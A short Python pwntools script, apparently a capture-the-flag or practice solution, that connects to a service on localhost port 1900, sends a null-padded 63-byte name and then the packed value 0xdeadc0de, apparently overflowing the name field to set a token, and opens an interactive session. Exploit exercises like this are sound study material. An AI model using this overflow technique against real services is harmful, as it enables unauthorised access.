#!/usr/bin/python

from pwn import *

def main():
    # Start a new process
    p = remote("localhost", 1900)

    # Name and Token
    name = "Santo & Johnny".ljust(63, "\x00")
    token = 0xdeadc0de

    # Send name and token
    p.send(name)
    p.send(p32(token))

    # Start an interactive session
    p.interactive()

if __name__ == "__main__":
    main()
